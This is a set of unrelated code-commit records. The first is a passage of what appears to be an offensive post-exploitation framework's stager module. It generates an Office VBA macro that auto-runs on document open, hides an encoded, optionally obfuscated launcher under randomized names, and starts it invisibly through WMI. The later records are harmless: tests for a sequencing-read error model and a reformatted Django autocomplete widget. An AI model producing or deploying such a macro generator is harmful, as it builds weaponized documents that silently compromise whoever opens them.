            'UserAgent' : {
                'Description'   :   'User-agent string to use for the staging request (default, none, or other).',
                'Required'      :   False,
                'Value'         :   'default'
            },
            'Proxy' : {
                'Description'   :   'Proxy to use for request (default, none, or other).',
                'Required'      :   False,
                'Value'         :   'default'
            },
            'ProxyCreds' : {
                'Description'   :   'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).',
                'Required'      :   False,
                'Value'         :   'default'
            }
        }

        # save off a copy of the mainMenu object to access external functionality
        #   like listeners/agent handlers/etc.
        self.mainMenu = mainMenu

        for param in params:
            # parameter format is [Name, Value]
            option, value = param
            if option in self.options:
                self.options[option]['Value'] = value

    def generate(self):

        # extract all of our options
        language = self.options['Language']['Value']
        listenerName = self.options['Listener']['Value']
        userAgent = self.options['UserAgent']['Value']
        obfuscate = self.options['Obfuscate']['Value']
        obfuscateCommand = self.options['ObfuscateCommand']['Value']
        proxy = self.options['Proxy']['Value']
        proxyCreds = self.options['ProxyCreds']['Value']
        stagerRetries = self.options['StagerRetries']['Value']

        obfuscateScript = False
        if obfuscate.lower() == "true":
            obfuscateScript = True

        # generate the launcher code
        launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, encode=True, obfuscate=obfuscateScript, obfuscationCommand=obfuscateCommand, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries)
        Str = ''.join(random.choice(string.letters) for i in range(random.randint(1,len(listenerName))))
        Method=''.join(random.choice(string.letters) for i in range(random.randint(1,len(listenerName))))

        if launcher == "":
            print helpers.color("[!] Error in launcher command generation.")
            return ""
        else:
            chunks = list(helpers.chunks(launcher.replace("'", "\\'"), 50))
            payload = "\tDim "+Str+" As String\n"
            payload += "\t"+Str+" = \"" + str(chunks[0]) + "\"\n"
            for chunk in chunks[1:]:
                payload += "\t"+Str+" = "+Str+" + \"" + str(chunk) + "\"\n"

            macro = "Sub Auto_Open()\n"
            macro += "\t"+Method+"\n"
            macro += "End Sub\n\n"
            macro += "Sub AutoOpen()\n"
            macro += "\t"+Method+"\n"
            macro += "End Sub\n\n"

            macro += "Sub Document_Open()\n"
            macro += "\t"+Method+"\n"
            macro += "End Sub\n\n"

            macro += "Public Function "+Method+"() As Variant\n"
            macro += payload
            macro += "\tConst HIDDEN_WINDOW = 0\n"
            macro += "\tstrComputer = \".\"\n"
            macro += "\tSet objWMIService = GetObject(\"winmgmts:\\\\\" & strComputer & \"\\root\\cimv2\")\n"
            macro += "\tSet objStartup = objWMIService.Get(\"Win32_ProcessStartup\")\n"
            macro += "\tSet objConfig = objStartup.SpawnInstance_\n"
            macro += "\tobjConfig.ShowWindow = HIDDEN_WINDOW\n"
            macro += "\tSet objProcess = GetObject(\"winmgmts:\\\\\" & strComputer & \"\\root\\cimv2:Win32_Process\")\n"
            macro += "\tobjProcess.Create "+Str+", Null, objConfig, intProcessID\n"
            macro += "End Function\n"

            return macro
<|endoftext|>


<commit_before><commit_msg>gaussian tilitng left<commit_after><|endoftext|>


<commit_before>#!/usr/bin/env python
# -*- coding: utf-8 -*-

from iss.error_models import ErrorModel, basic, kde

from Bio.Seq import Seq
from Bio.Alphabet import IUPAC
from Bio.SeqRecord import SeqRecord
from nose.tools import raises

import random
import numpy as np

def test_basic_phred():
    np.random.seed(42)
    err_mod = basic.BasicErrorModel()

    distribution = err_mod.gen_phred_scores(20, 'forward')[:10]
    assert distribution == [23, 19, 25, 40, 19, 19, 40, 26, 18, 23]

def test_kde_phred():
    np.random.seed(42)
    err_mod = kde.KDErrorModel('data/ecoli.npz')
    distribution = err_mod.gen_phred_scores(err_mod.quality_reverse,
                                            'reverse')[10:]
    assert distribution == [40, 40, 40, 40, 40, 40, 40, 40, 10, 10]

def test_introduce_errors():
    np.random.seed(42)
    err_mod = basic.BasicErrorModel()

    read = SeqRecord(
        Seq(str('AATGC' * 25),
            IUPAC.unambiguous_dna
            ),
        id='read_1',
        description='test read'
        )
    read = err_mod.introduce_error_scores(read, 'forward')
    qualities = read.letter_annotations["phred_quality"][:10]
    assert qualities == [40, 26, 40, 40, 25, 25, 40, 40, 22, 40]

def test_mut_sequence():
    random.seed(42)
    np.random.seed(42)

    err_mod = basic.BasicErrorModel()

    read = SeqRecord(
        Seq(str('AAAAA' * 25),
            IUPAC.unambiguous_dna
            ),
        id='read_1',
        description='test read'
        )
    read.letter_annotations["phred_quality"] = [5] * 125
    read.seq = err_mod.mut_sequence(read, 'forward')
    assert str(read.seq[:10]) == 'AAAACAGAAA'

def test_introduce_indels():
        random.seed(42)
        np.random.seed(42)

        err_mod = basic.BasicErrorModel()
        err_mod.ins_for[1]['G'] = 1.0
        err_mod.del_for[0]['A'] = 1.0
        bounds = (5, 130)
        read = SeqRecord(
            Seq(str('ATATA' * 25),
                IUPAC.unambiguous_dna
                ),
            id='read_1',
            description='test read'
            )
        ref_genome = SeqRecord(
            Seq(str('ATATA' * 100),
                IUPAC.unambiguous_dna
                ),
            id='ref_genome',
            description='test reference'
            )
        read.seq = err_mod.introduce_indels(
            read, 'forward', ref_genome, bounds)
        assert len(read.seq) == 125
        assert read.seq[:10] == 'ATGATAATAT'

@raises(SystemExit)
def test_bad_err_mod():
    err_mod = kde.KDErrorModel('data/empty_file')
<commit_msg>test perfect error model<commit_after>#!/usr/bin/env python
# -*- coding: utf-8 -*-

from iss.error_models import ErrorModel, basic, kde, perfect

from Bio.Seq import Seq
from Bio.Alphabet import IUPAC
from Bio.SeqRecord import SeqRecord
from nose.tools import raises

import random
import numpy as np

def test_perfect_phred():
    err_mod = perfect.PerfectErrorModel()

    distribution = err_mod.gen_phred_scores(20, 'forward')[:10]
    assert distribution == [40, 40, 40, 40, 40, 40, 40, 40, 40, 40]

def test_basic_phred():
    np.random.seed(42)
    err_mod = basic.BasicErrorModel()

    distribution = err_mod.gen_phred_scores(20, 'forward')[:10]
    assert distribution == [23, 19, 25, 40, 19, 19, 40, 26, 18, 23]

def test_kde_phred():
    np.random.seed(42)
    err_mod = kde.KDErrorModel('data/ecoli.npz')
    distribution = err_mod.gen_phred_scores(err_mod.quality_reverse,
                                            'reverse')[10:]
    assert distribution == [40, 40, 40, 40, 40, 40, 40, 40, 10, 10]

def test_introduce_errors():
    np.random.seed(42)
    err_mod = basic.BasicErrorModel()

    read = SeqRecord(
        Seq(str('AATGC' * 25),
            IUPAC.unambiguous_dna
            ),
        id='read_1',
        description='test read'
    )
    read = err_mod.introduce_error_scores(read, 'forward')
    qualities = read.letter_annotations["phred_quality"][:10]
    assert qualities == [40, 26, 40, 40, 25, 25, 40, 40, 22, 40]

def test_mut_sequence():
    random.seed(42)
    np.random.seed(42)

    err_mod = basic.BasicErrorModel()

    read = SeqRecord(
        Seq(str('AAAAA' * 25),
            IUPAC.unambiguous_dna
            ),
        id='read_1',
        description='test read'
    )
    read.letter_annotations["phred_quality"] = [5] * 125
    read.seq = err_mod.mut_sequence(read, 'forward')
    assert str(read.seq[:10]) == 'AAAACAGAAA'

def test_introduce_indels():
    random.seed(42)
    np.random.seed(42)

    err_mod = basic.BasicErrorModel()
    err_mod.ins_for[1]['G'] = 1.0
    err_mod.del_for[0]['A'] = 1.0
    bounds = (5, 130)
    read = SeqRecord(
        Seq(str('ATATA' * 25),
            IUPAC.unambiguous_dna
            ),
        id='read_1',
        description='test read'
    )
    ref_genome = SeqRecord(
        Seq(str('ATATA' * 100),
            IUPAC.unambiguous_dna
            ),
        id='ref_genome',
        description='test reference'
    )
    read.seq = err_mod.introduce_indels(
        read, 'forward', ref_genome, bounds)
    assert len(read.seq) == 125
    assert read.seq[:10] == 'ATGATAATAT'

@raises(SystemExit)
def test_bad_err_mod():
    err_mod = kde.KDErrorModel('data/empty_file')
<|endoftext|>


<commit_before>from django.forms.widgets import Input
from django.core.urlresolvers import reverse
from django.conf import settings
from django.utils.safestring import mark_safe

class TagAutocomplete(Input):
    input_type = 'text'

    def render(self, name, value, attrs=None):
        json_view = reverse('tagging_autocomplete-list')
        html = super(TagAutocomplete, self).render(name, value, attrs)
        js = u'''<script type="text/javascript">
        function split( val ) {
        return val.split( /,\s*/ );
        }
        function extractLast( term ) {
        return split( term ).pop();
        }
        jQuery(function() {

        jQuery("#%s").bind( "keydown", function( event ) {
        if ( event.keyCode === $.ui.keyCode.TAB &&
        $( this ).data( "autocomplete" ).menu.active ) {
        event.preventDefault();
        }
        }).autocomplete({
        source: function( request, response ) {
        $.getJSON( "%s", {
        term: extractLast( request.term )
        }, response );
        },
        minLength: %s,
        focus: function() {
        // prevent value inserted on focus
        return false;
        },
        select: function( event, ui ) {
        var terms = split( this.value );
        // remove the current input
        terms.pop();
        // add the selected item
        terms.push( ui.item.value );
        // add placeholder to get the comma-and-space at the end
        terms.push( "" );
        this.value = terms.join( ", " );
        return false;
        }
        });
        });
        </script>''' % (attrs['id'], json_view,
                        getattr(settings, 'TAGGING_AUTOCOMPLETE_MIN_LENGTH', 1))
        return mark_safe("\n".join([html, js]))

    class Media:
        css = {
            'all': (
                'tagging_autocomplete/css/base/jquery.ui.all.css',
                'tagging_autocomplete/css/tagging_autocomplete.css',
                )
        }

        js = (
            getattr(settings,'JQUERY_URL','tagging_autocomplete/js/jquery-1.6.2.min.js'),
            'tagging_autocomplete/js/jquery.ui.core.min.js',
            'tagging_autocomplete/js/jquery.ui.position.min.js',
            'tagging_autocomplete/js/jquery.ui.widget.min.js',
            'tagging_autocomplete/js/jquery.ui.autocomplete.min.js',
)
<commit_msg>Formatted JS code.<commit_after>from django.forms.widgets import Input
from django.core.urlresolvers import reverse
from django.conf import settings
from django.utils.safestring import mark_safe

class TagAutocomplete(Input):
    input_type = 'text'

    def render(self, name, value, attrs=None):
        json_view = reverse('tagging_autocomplete-list')
        html = super(TagAutocomplete, self).render(name, value, attrs)
        js = u'''<script type="text/javascript">
            function split(val) {
                return val.split(/,\s*/);
            }
            function extractLast(term) {
                return split(term).pop();
            }
            jQuery(function() {
                jQuery("#%s").bind("keydown", function(event) {
                    if (event.keyCode === $.ui.keyCode.TAB && $(this).data("autocomplete").menu.active) {
                        event.preventDefault();
                    }
                }).autocomplete({
                    source: function(request, response) {
                        $.getJSON("%s", {
                            term: extractLast(request.term)
                        }, response);
                    },
                    minLength: %s,
                    focus: function() {
                        // prevent value inserted on focus
                        return false;
                    },
                    select: function(event, ui) {
                        var terms = split(this.value);
                        // remove the current input
                        terms.pop();
                        // add the selected item
                        terms.push(ui.item.value);
                        // add placeholder to get the comma-and-space at the end
                        terms.push("");
                        this.value = terms.join(", ");
                        return false;
                    }
                });
            });
        </script>''' % (attrs['id'], json_view,
                        getattr(settings, 'TAGGING_AUTOCOMPLETE_MIN_LENGTH', 1))
        return mark_safe("\n".join([html, js]))

    class Media:
        css = {
            'all': (
                'tagging_autocomplete/css/base/jquery.ui.all.css',
                'tagging_autocomplete/css/tagging_autocomplete.css',
                )
        }

        js = (
            getattr(settings,'JQUERY_URL','tagging_autocomplete/js/jquery-1.6.2.min.js'),
            'tagging_autocomplete/js/jquery.ui.core.min.js',
            'tagging_autocomplete/js/jquery.ui.position.min.js',
            'tagging_autocomplete/js/jquery.ui.widget.min.js',
            'tagging_autocomplete/js/jquery.ui.autocomplete.min.js',
)
<|endoftext|>